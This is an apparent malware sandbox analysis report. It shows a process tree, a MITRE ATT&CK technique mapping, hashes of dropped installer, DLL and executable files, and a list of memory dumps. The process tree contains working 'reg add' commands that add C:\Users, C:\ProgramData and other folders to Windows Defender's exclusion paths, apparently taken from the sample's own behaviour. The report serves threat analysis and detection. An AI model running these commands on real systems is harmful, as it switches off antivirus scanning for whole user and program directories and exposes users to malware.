cmd.exe
1⤵
PID:7132

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2748
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:6636

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5048
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:3488

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1764
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:3340

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:6592
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:6036

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e599eb8.rbs

Path C:\Config.Msi\e599eb8.rbs
Size 7KB
SHA256 283d114102dcbeb7c973e31fade45d47537eb51a30568ca099cb4b63010efd6a
MD5 eaf926b3d431e3847a885997cc289179
SHA1 9f6adb78ae207d99063b4f90cb7bca426b0583d2
SHA512 b7289edb1e82537200fb653a2af61a01d2e9324f60f409ff3ba3a5e5f413d3b03543e38ed2ab65c496df40e04aa2aa96b5639cffafc5aa66e4f6d9a51347bd02
SSDEEP 96:AhwguT7RCTPoPaUUT61CsThq5UT61C6joXPxtThqxH6S5ivW1EVACKpljWu48jBH:AeCTz+IIX+Ib8kZKpt
TLSH
T196F1FC42AB0096F3EF861B75C713176637B2E3D89320174F099D88605F5638C6E9A29F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\5q9jFb\UxEnhance64.dll
Size 3.1MB
SHA256 f0965d8025c7af39aea0e1ce50bf8b68ce6c6729e4a2df2159fbc442ba110d12
MD5 c228a95c6ba78870db59c8b19ba5dd4b
SHA1 1497a9f0dff696a2b52ea2a30bb7d6c58a65e8e4
SHA512 f7c6980dab35a76b02c0a69a10d989cdd724b64b81d9f34325ac59b32c0af8f6eb27c20d94b0089d535ab7632387385aa109a9637aa88d1d476c65cc9a0022ed
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+B:P9m29xx3Tiqt06ox6+z2rNNrKoB
TLSH
T108E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\5q9jFb\adoresd.dat
Size 4.7MB
SHA256 aec865cb9e10de117c04a4ef7c6e6277eb5372a65c02ab776030b582c1243d5f
MD5 de49f68157550ff2896464ad6cf7627f
SHA1 42b10fdbc7c6fa9f24aafa610b65e6988b7b194b
SHA512 be964809a5fb4e7f2c41476745f772c8f8a283d31f713158f7d0d9dc2a85c73b9be9922d4ad5445cb261592bad8b2c181bea1d678150bd857118488a115e8730
SSDEEP 98304:nmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:mu1SwOflfZPF6Ma0bsoa5+qd
TLSH
T18B3633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jsMk9G.exe

Path C:\Users\Public\5q9jFb\jsMk9G.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\5q9jFb\msadox.tb
Size 8KB
SHA256 eeccbaa9d8ff3f2839eb326cd0ad17661b334b58fb715a674c2ed3e3f1071027
MD5 245e068a397cc031a331ede5cb62a2fa
SHA1 bb089067f0682ee49859c9791cc63f4f42f423de
SHA512 ab92e817ee89584e379aad898805d7ea85762fe2f3ac8ac58df33265b172ae74a5698bf9782134331e1e970566c4b7ca065bf14463b0e95229d6e1448039e1a2
SSDEEP 192:fqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:fsZqZOXQ3uqvR2Kfzp
TLSH
T1BD029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSIA3F8.tmp

Path C:\Windows\Installer\MSIA3F8.tmp
Size 5.3MB
SHA256 1a4f8a2bf676e661da58a8a93557915da3342d585fccee8e6156822a09f2e95f
MD5 895948116b09769416d78e094281467b
SHA1 867f4a190d56c8085f53f721ce353dfdad271e43
SHA512 eb096b50853bab140051ce5e00c76038565c4e4734b2adfb81eb43d62918298a9420dbe4b1191e5a7c5d33eaec8707b3531e533dfd79a24057bba5dc3601f24e
SSDEEP 98304:fK06r4V6fscocNT2vxvxqgw182B95xEh7am+eAtYP/fHLPscibhuOjg9H2GIb:f4r4V6fhT2vu9182B9wTbAtsfr4htjg2
TLSH
T1314633C969CD3B34E45BC7B142027AAEF5AD77C49DB68C0637ED321C6E3294A9432709
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e599eb7.msi

Path C:\Windows\Installer\e599eb7.msi
Size 5.4MB
SHA256 8ed26dbeb6f8e76dd6718076d217c4fa4347542ed0d08b0b9380aefc415f3c32
MD5 0aa9ea42f6e5b63ec1f769eeb1fcd67d
SHA1 d5af2d3e64d876a5cc2abf04aa918d194eaf8936
SHA512 a9ce046d1d5b3d2a41753c457f50c36de39176b7549077fa49a83ac05be9c520f0b698e4a73c93e92441c5b41a7ee85fea7ce09ca177bc429d5af45e81759e29
SSDEEP 98304:PK06r4V6fscocNT2vxvxqgw182B95xEh7am+eAtYP/fH/PscibhuOjg9H2GIK:P4r4V6fhT2vu9182B9wTbAtsff4htjgV
TLSH
T1384633C979C93B35D45BC7B142027AAEF66D7FC49EA28C0237ED321C6E329599432718
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 26.1MB
SHA256 405da20868314e561529c3e92d3d54066cb860efcb36c7505b18de5dc08e7f9b
MD5 88c6b6ab16e100a3cc229a7ac66f5dc2
SHA1 90e4f554afdf185ef1a07cffe2684695c9c74352
SHA512 aa39d9dd879a654fb73150e1f11dd35453339cd688d3b9172797829842ea7f2e78d6cfbcde30ed1241c6c77c14054b4028de5fe0a6460385eafd3c73205736c7
SSDEEP 24576:5Fo3DMPgdoO/vvTL/yAQQiVQfL+a77XDkNmSdNe4mlea53hg8YxWA5KRE+a:sHY
TLSH
T16C57E42436F92111E7F79E3CA8F06A274D397D979C19DE8D05811B4E0822F71E872F6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{f2ba8993-375f-4889-83fe-8aec7998a235}_OnDiskSnapshotProp

Path \??\Volume{c4492839-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{f2ba8993-375f-4889-83fe-8aec7998a235}_OnDiskSnapshotProp
Size 6KB
SHA256 034bec6f52243bf42c1beff6046fa3e78bccfffdd274297928b5208df91fa82c
MD5 c8f9a19d22498193405967107f5b8c51
SHA1 8253aa6c7ba629738d298ad626732cfd97085800
SHA512 69c2ed25dacaf960e7c3674c14afff1cc0449f884a3cbc84fda68593a0b56d523e954e60f8fc0aa394d27f455fdfca4a8eae067729963f2c0ea5f96ce1d83193
SSDEEP 96:FYMcNvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpuN:Gnb++uVmN
TLSH
T166D187185AE54711E2B3AB3129F18557A837B951EF33CB8E0198238E6621A10F935F6F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1312-113-0x00000211A6A00000-0x00000211A6A22000-memory.dmp

Download

memory/1312-116-0x00000211A6A50000-0x00000211A6A6E000-memory.dmp

Download

memory/1312-117-0x00000211A6CC0000-0x00000211A6D72000-memory.dmp

Download

memory/1312-118-0x00000211A6A40000-0x00000211A6A4A000-memory.dmp

Download

memory/5224-61-0x00000189008D0000-0x0000018900910000-memory.dmp

Download

memory/5224-11-0x00000189008D0000-0x0000018900910000-memory.dmp

Download

memory/5940-78-0x000001DF045C0000-0x000001DF04E51000-memory.dmp

Download

memory/5940-101-0x000001DF04E60000-0x000001DF04EEA000-memory.dmp

Download

memory/5940-75-0x000001DF045C0000-0x000001DF04E51000-memory.dmp

Download

memory/5940-69-0x00007FF973470000-0x00007FF973472000-memory.dmp

Download

memory/5940-77-0x00007FF973480000-0x00007FF973482000-memory.dmp

Download

memory/5940-82-0x000001DF045C0000-0x000001DF04E51000-memory.dmp

Download

memory/5940-83-0x000001DF045C0000-0x000001DF04E51000-memory.dmp

Download

memory/5940-84-0x000001DF045C0000-0x000001DF04E51000-memory.dmp

Download

memory/5940-85-0x000001DF045C0000-0x000001DF04E51000-memory.dmp

Download

memory/5940-90-0x000001DF045C0000-0x000001DF04E51000-memory.dmp

Download

memory/5940-96-0x000001DF03B30000-0x000001DF03B7E000-memory.dmp

Download

memory/5940-70-0x00007FF94FC80000-0x00007FF95019E000-memory.dmp

Download

memory/5940-100-0x000001DF04E60000-0x000001DF04EEA000-memory.dmp

Download

memory/5940-99-0x000001DF04E60000-0x000001DF04EEA000-memory.dmp

Download

memory/5940-98-0x000001DF04E60000-0x000001DF04EEA000-memory.dmp

Download

memory/5940-103-0x000001DF045C0000-0x000001DF04E51000-memory.dmp

Download

memory/5940-106-0x000001DF045C0000-0x000001DF04E51000-memory.dmp

Download

memory/5940-107-0x000001DF045C0000-0x000001DF04E51000-memory.dmp

Download

memory/6724-51-0x00007FF962860000-0x00007FF962872000-memory.dmp

Download

memory/6724-17-0x00007FF962860000-0x00007FF962872000-memory.dmp

Download

memory/6724-14-0x00007FF94EBF0000-0x00007FF94F21F000-memory.dmp

Download

memory/6724-13-0x00007FF973470000-0x00007FF973472000-memory.dmp

Download